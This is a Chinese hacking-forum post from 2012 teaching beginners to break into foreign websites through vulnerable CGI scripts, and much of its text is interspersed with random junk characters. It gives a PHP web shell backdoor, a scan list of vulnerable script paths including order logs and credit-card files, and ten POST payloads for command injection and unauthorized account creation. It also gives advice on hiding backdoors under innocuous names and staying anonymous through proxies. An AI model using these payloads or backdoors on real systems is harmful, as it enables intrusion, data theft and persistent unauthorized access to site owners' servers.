中国网络渗透测试联盟

标题: CGI 脚本入侵快速上手+脚本使用方法 [打印本页]

作者: admin    时间: 2012-9-13 16:54
标题: CGI 脚本入侵快速上手+脚本使用方法
CGI 脚本入侵快速上手+脚本使用方法0 q0 j2 L7 D' o7 Z, A  |# M) ^7 ~
大家好 我是bboyhip  只是一名菜菜的exploiter
( ~6 U" z4 n' H5 {: l$ F  a很开心来到贵论坛
; t+ j4 u5 C$ d* D4 I' B) w* H3 `5 F这里让我感觉 很有技术交流的感觉
3 G( L! `$ X( U* n$ S3 B) D我会长长来玩的
9 P% O8 K  l/ j前言:( _" p# E) \3 n
以下讲解针对欧美日本网站# n' l/ ]. W/ f0 p( Q4 e
當我們在做滲透分析的時候 方法有很多
. a; u' W! z2 Z- b4 T我门都知道 国外伺服器大多是linux 平台9 s& [2 ~; e' U) a/ ?9 U- y7 K
所以有很多网站程序有6成都会使用cgi 脚本来管理; {9 F5 @, o4 \3 W
目录为/cgi-bin/* s" o& x; m9 P' A
7 Z0 e3 k' m) e/ z% B7 e; ]* B
只是个人在实务上一些经验
$ E/ \0 U) t2 U写的不好 请多多见谅喔 ; P* }" B. J1 w
在这里我简单分为几个部份一定要會的! Z, }" T6 ]6 R# P
讲解一下
* F  v: \8 [" K" V% f( I8 r0 y让没有基础的人很容易上手( g5 q/ n7 x3 k0 }: a% h

4 y* s' I5 G- _( x以下内容跟帖回复才能看到* G- _1 E8 M" R: s
==============================+ I3 |  e# r! @' U1 a4 f. c3 Z

' n# M- y8 x0 W7 i- w( C7 Y/ y第1部份: 何谓Shell?* h& I! _5 p5 V& X5 }, N
Shell的中文, 可称为 "壳".  Shell 是一个比较复杂的概念, 先看比较传统的解释:* q$ ^- U" G5 T2 i$ \$ B, K3 s& a# {- g
A shell is the program which reads user input from the command line and executes actions based upon that input., _% z  r( c6 q4 ]& ]
意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令., t  p6 Z  l- b9 L2 _+ F, l

% j3 [+ g9 D' W, w2 s, Q# u对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.  - J1 k  m) X; b. w: y0 l# P
要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门.  大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多.  在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.+ z1 D2 N" X& _
所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.
7 v8 ~! N( j4 @4 I7 E5 C$ W, u5 {$ C4 S+ h
第2部份: Unix 指令
8 B( r( W- }  A8 q8 m, u' [* L以下是一些常见及重要的指令:
" U- Q) n" F- K" W: ~- upwd: 显示当前目录, 即是後门/程式所在的位置
1 {  _, p  ]+ m) ?  n; M如 /home/www/site.com/cgi-bin/
: }) L, t) V. Hls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).  
  s6 a  s5 i8 e/ G# jls -al :详细列出档案资料(当前目录)
* g' Z% n! I2 I# G* O9 Xls /: 列出根目录% w5 k  m) _4 o$ `* M  p
ls /etc: 列出/etc的资料夹及档案2 k( c% F7 m: ^7 L
ls ../ -al: 详细列出上一层的资料夹及档案% C9 H- Y; J) [+ D& `- M
cat: 显示档案内容
8 ]" i  L$ b9 S+ L5 c4 t5 Tcat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)( j$ y8 U9 T" z+ L
cat /etc/passwd: 显示 /etc/passwd 这个档案的内容
) ?* W& A0 A" a$ w0 z/ ^& e6 z7 awho: 显示谁login 至系统
- h  t2 ?' E: V" mman: 显示指令用法  $ S8 f% T" A1 Y) N# W
man ls: 显示ls这指令的用法  . x& b, h$ @5 Q9 G
mkdir 建立目录0 c/ f$ ?. m% M  k6 ?5 g% S- x
rmdir 删除目录
4 _( z8 k" ]2 V/ ]. h  w/ U: g) Z2 Umv 移动档案  e( N* Q* G8 u6 U
rm 删除档案
( u; z+ @5 W) [1 y5 _) W# _2 ]) r! y% ^6 c2 |% a, s, m% I" `) F
第3部份: Shell的使用
; E' T6 l. u' e1 F, Y4 k# W5 a例如:' g* q! m! f! H% R4 K+ f* J. v6 N0 z
http://site.com/refer.php
% n& E/ t" O# U; T' W9 [这是我的後门, 原代码如下:
3 w+ }" _! a# f! c4 v( T<Form Action="#" Method="POST">
% N- p, X# R" h% N<Input type="text" name="cmd"> " z) b9 b) q0 q* S
<Input type="Submit">
4 z( M& Z. Y, e  R</Form> ; K; n2 |! w7 _
<?php + W8 U* p4 s* V% y' @1 g; G
$cmd = $_POST['cmd']; $ S+ F& {: E& I" N$ `
$Output = shell_exec($cmd);
" w. B+ ]& k; G; s: r6 z+ Xecho $Output; ( A& v4 F$ o0 @/ g8 j
?> ! F% F8 W" v! o+ ]. X" i
输入pwd, 可得到绝对路径:
- ?! K$ e6 @* A  {2 `/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com
7 T7 V# I1 y( \$ S! l& G& S
) V3 m. d) E- G: X第4部份: 注意事项- X) p3 n# \  F+ {/ l
- 使用匿名代理, 保障自己* q" I8 d' N& p2 O
- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动# {# h0 Z6 K# O# n5 g9 u  d# o+ \
- 加後门前, 必须了解目标系统是否支援.  例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.
5 J# {) Q5 a7 ^( e4 a# S4 |, n8 N- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
' h7 Q. l$ A2 T2 O- @- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,
7 W8 c9 b5 |( Y不容易被发现.
! u- K. I- w" {" ?4 H/ j2 B' n- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)4 u) K; N3 O: L
针对网站的渗透分析方法太多了
9 f5 C& C. O3 i2 ]; }2 V& _这篇文章的重点是cgi 脚本攻击
/ N" s( Y. N# Z% ^3 Y* _: O1 a所以我用简单的叙述形容
' k% S, t1 y# P开始讲解脚本入侵过程:
# }: x* W* ^) T( c" t# P在这里提供一些方法思路让大家学习一下6 D5 O) K% \: O4 O- i. a
5 m' V6 T: k8 G& m9 Z
1.一开始对一个网站进行cgi漏洞扫描% f% Y- r0 v# m! a
我们需要的东西有3 G( C. u# z1 t. u, t/ Q1 l6 E
扫洞工具 如:triton..等等9 L% V/ X$ E2 E3 J
E表
2 p' D$ N) Q0 w* U' }. u/ A; H+ T6 y+ O
/cgi-bin/add-passwd.cgi   a# K5 n& ?2 S) r
/WebShop/templates/cc.txt: |8 J3 A  ]$ c: P0 |
/Admin_files/order.log7 d4 h9 n8 U& y; |% `3 L. p5 p
/orders/mountain.cfg5 d, P' F/ p3 u) K( N
/cgi-sys/cart.pl1 y& ?5 v, e+ }
/scripts/cart.pl
4 k( ?" K6 g0 z* F8 @/htbin/cart.pl
. X8 N7 _* Z2 t1 U) N" F# ZE表来源可以是网路收寻或是自己的0 day0 E, b+ g- u; |! Q/ @
' }9 W! C4 n) X
2.怎样确认扫到的洞 是真的还假的?; J( \+ O* ~6 c, @. M6 q
举例: target: http://www.site.com/cgi-bin/add-passwd.cgi8 B! }" a% J" k+ o$ S
一般都是在IE里先看一下的,记住这个返回码哦
% ?: a7 Y0 q/ Y5 B, |% `! b8 _ERROR:This script should be referenced with a METHOD of POST.  t; \7 F  `7 s# U/ j+ Z6 @
没有返回一定是假的% q2 c2 x, m8 B! I/ b
3.重来来了 很多人都会问我
& y- }) T& W7 M. g! L- E他扫到很多洞 但是不会使用 , L2 T4 m* [% |2 A4 d9 e
因为这些漏洞 使用的语法 称为post
# ^* `: |4 h2 k5 {0 t我们要找post 的方法很多
1 e- y/ {- L: w/ |可以是源代码分析 找出介质0 v' v7 n' X4 @0 r2 C
或是用抓包工具 抓他的语法...等等. B, i$ C! _; w9 U4 S0 a7 U

, L' j- e: _4 {/ j/ B& C% j: d以下我提供10个 cgi 洞以及使用方法post4 {9 ]4 \+ U' Z2 E4 ^' k
让大家可以针对网站去做扫描  9 Y# F8 e4 d* g2 x- I' Q7 u/ S
/index.cgi0 N; w- J+ T3 K! S: N) u; E
wei=ren&gen=command0 z6 p" ^* S; Z
/passmaster.cgi
4 h2 P' P, d9 N9 F' u. r. X: J/ }Action=Add&Username=Username&Password=Password
% R6 J4 j8 G. G6 U) N$ x# W* I' h/accountcreate.cgi4 }6 Z, p$ s1 T" f/ l9 \3 `" U  `
username=username&password=password&ref1=|echo;ls|* B/ |% d' O. u% a3 [8 P
/form.cgi
$ A& F8 _4 a2 Q; ename=xxxx&email=email&subject=xxxx&response=|echo;ls|
6 {. m# F; {: r0 z' H# l" }5 t/addusr.pl& g, W( N' @% l/ M, g& B
/cgi-bin/EuroDebit/addusr.pl
4 B& U& O6 M) ~" R, K' Huser=username&pass=Password&confirm=Password
9 Q: T. W) ?0 R' r+ Q2 |/ccbill-local.asp& N1 u" G0 [7 U
post_values=username:password
+ o4 E1 a1 L, P! }9 N/count.cgi& R0 s! c( t7 s8 N/ F; c
pinfile=|echo;ls -la;exit| & C3 A  t8 j7 k. V
/recon.cgi
1 ^) N! ?$ z1 L6 ]! k0 |9 g' s% Z/recon.cgi?search
% D, }& s+ z0 _1 w( Gsearchoption=1&searchfor=|echo;ls -al;exit|
( p5 M: B! X8 f2 H/verotelrum.pl
/ ?0 ]' s, P  _, W/ Y6 L! cvercode=username:password:dseegsow:add:amount<&30>/ p  M: }2 F3 I
/af.cgi_browser_out=|echo;ls -la;exit;|
# y+ l3 [% y6 m7 n' S' k& H3 ~
, m7 {: k3 L, k( B+ M今天就讲到这  感谢大家支持% h! M9 I6 E, f) k





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2